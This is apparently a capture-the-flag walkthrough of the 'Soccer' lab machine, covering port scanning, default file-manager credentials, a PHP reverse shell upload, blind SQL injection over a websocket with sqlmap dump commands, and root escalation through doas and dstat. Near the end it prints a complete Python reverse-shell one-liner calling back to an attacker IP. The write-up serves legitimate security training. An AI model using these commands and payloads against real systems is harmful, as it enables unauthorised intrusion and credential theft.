Enumeration
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-01 15:36 GMT
Nmap scan report for 10.10.11.194
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=3/1%Time=63FF711E%P=x86_64-pc-linux-gnu%r(inf
SF:ormix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\
SF:n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x2
SF:0close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\n
SF:Content-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCon
SF:tent-Length:\x20139\r\nDate:\x20Wed,\x2001\x20Mar\x202023\x2015:37:09\x
SF:20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=
SF:\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</h
SF:ead>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HTT
SF:POptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Poli
SF:cy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r
SF:\nDate:\x20Wed,\x2001\x20Mar\x202023\x2015:37:09\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<met
SF:a\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Ca
SF:nnot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HTT
SF:P/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-sr
SF:c\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20t
SF:ext/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Wed,\x
SF:2001\x20Mar\x202023\x2015:37:09\x20GMT\r\nConnection:\x20close\r\n\r\n<
SF:!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"ut
SF:f-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\x
SF:20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r
SF:(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnecti
SF:on:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.65 seconds
We find port 22, 80 and 9091 open. Let's do some further enumeration on port 80.
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
We find the domain, let's add it to our hosts file and continue our investigation.
There isn't a lot on the domain, seems to just be a static site with some football information. Let's use gobuster to see if we can find something interesting.
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/03/01 16:07:48 Starting gobuster in directory enumeration mode
===============================================================
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
We have a directory called "tiny". We find that this is a file manager with a login. A quick search reveals some default credentials:
https://tinyfilemanager.github.io/docs/
Default creds:
admin/admin@123
user/12345
Luckily, the admin creds work and we're in!
Initial Foothold
Not in my screenshot is the Tiny FM version which is 2.4.3. Back to the research table we find that 2.4.3 has a vulnerability!
"A Path traversal vulnerability in the file upload functionality in
tinyfilemanager.php in Tiny File Manager Project's Tiny File Manager
<= 2.4.6 allows remote attackers with valid user accounts to upload
malicious PHP files to the webroot and achieve code execution on the
target server."
https://github.com/febinrev/tinyfilemanager-2.4.3-exploit
Unfortunately the POC doesn't work in this instance but it does reveal that the exploit exists.
┌──(kali㉿kali)-[~]
└─$ ./exploit.sh http://soccer.htb/tiny/tinyfilemanager.php admin "admin@123"
/usr/bin/curl
[✔] Curl found!
/usr/bin/jq
[✔] jq found!
[+] Login Success! Cookie: filemanager=n8tbi19hj6jbq1lr9c0cj8a33k
[*] Try to Leak Web root directory path
[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : /var/www/html/tiny/
[-] File Upload Unsuccessful! Exiting!
The problem was with the upload, and we don't have the correct permissions to upload to the location the script attempts. We're going to go manual!
First let's find a location we can upload to and prove that it works.
We can upload to the uploads folder (of course..) and the test worked so now let's upload a shell. I recently pulled the blackarch shell repo so I used the php reverse shell within that. Changing the IP and port to match. Set up the listener and then fire.
We have a shell as www-data! We can make this a little more pleasant using
python3 -c "import pty; pty.spawn('/bin/bash')"
I must admit, I was stuck now as the account didn't have much access. Being still new to this I had to do a lot of research into nginx and I found out there is a folder which contains a config file. Within this conf file is mention of the sites-enabled location so I pivot to look in there. We find a new site called soc-player.soccer.htb, add it to our hosts file and let's go take a look.
There was a little more to this site, including a login page! If we go to the login page we will find that we have no creds but we can sign up. Create a new dummy account and login. We now have a ticket and a page where we can insert a ticket number. Open the developer tools and investigate how the site works and what is happening.
When a ticket number is put into the box and we click check then communication happens over a websocker to soc-player.soccer.htb:9091, this was our mystery port we found during enumeration, the next step is to exploit this process.Exploitation - User
Let's view the page source code
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {
var btn = document.getElementById('btn');
var input = document.getElementById('id');
ws.onopen = function (e) {
console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
keyOne(e)
});
function keyOne(e) {
e.stopPropagation();
if (e.keyCode === 13) {
e.preventDefault();
sendText();
}
}
function sendText() {
var msg = input.value;
if (msg.length > 0) {
ws.send(JSON.stringify({
"id": msg
}))
}
else append("????????")
}
}
ws.onmessage = function (e) {
append(e.data)
}
function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}
From this code we can see now exactly how it works. But how to exploit? After another big session of researching I found https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html which goes into detail on how to conduct SQL injection over a websocket. I grabbed the script and made the required edits and set up the proxy.
We can then send sqlmap through the proxy to do it's work. Note that sqlmap through this proxy will take a very long time! I recommend making sure it is running and then leaving it for 10-15 minutes and do something else.
sqlmap -u "http://127.0.0.1:8081/?id=1" --batch --dbs - this was used first to get some enumeration on the database.
sqlmap -u "http://127.0.0.1:8081/?id=1" --dbms mysql --dbs --threads 10 -p id -D soccer_db -T accounts -C username,password -dump-all - this was then the dump.
We can now log in through SSH and get the user flag!
Exploitation - Root
We now have user! Let's check if we can run anything as root. Damn!
Back to searching for an answer I came across a few different things, first was the alternative to sudo, doas. I then found two enumeration scripts LinEnum and LinPEASS.
I pulled down both scripts and uploaded them to soccer. Of the two I found LinPEASS to be a lot better and the latest release can be found here: https://github.com/carlospolop/PEASS-ng/releases/tag/20230226, and here is LinEnum: https://github.com/rebootuser/LinEnum.
After running LinPEASS we find that doas is on the system and we can use it to run dstat as root.
Dstat is a linux performance measuring tool but you can write custom modules for it. More research... https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/ has a nice overview. Unfortunately the exploit within here didn't work but we can try something else!
Using https://www.revshells.com/ to create a reverse shell in python we can use dstat to run it as a custom module.
Dstat will load modules from /usr/local/share/dstat/ , create a new module called dstat_<whatever>.py with the payload
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
Run it with doas -u root /usr/bin/dstat --<module name>
Be sure to have your listener running and you will get a root shell! From here you can get the root flag!
This was a long one but really fun!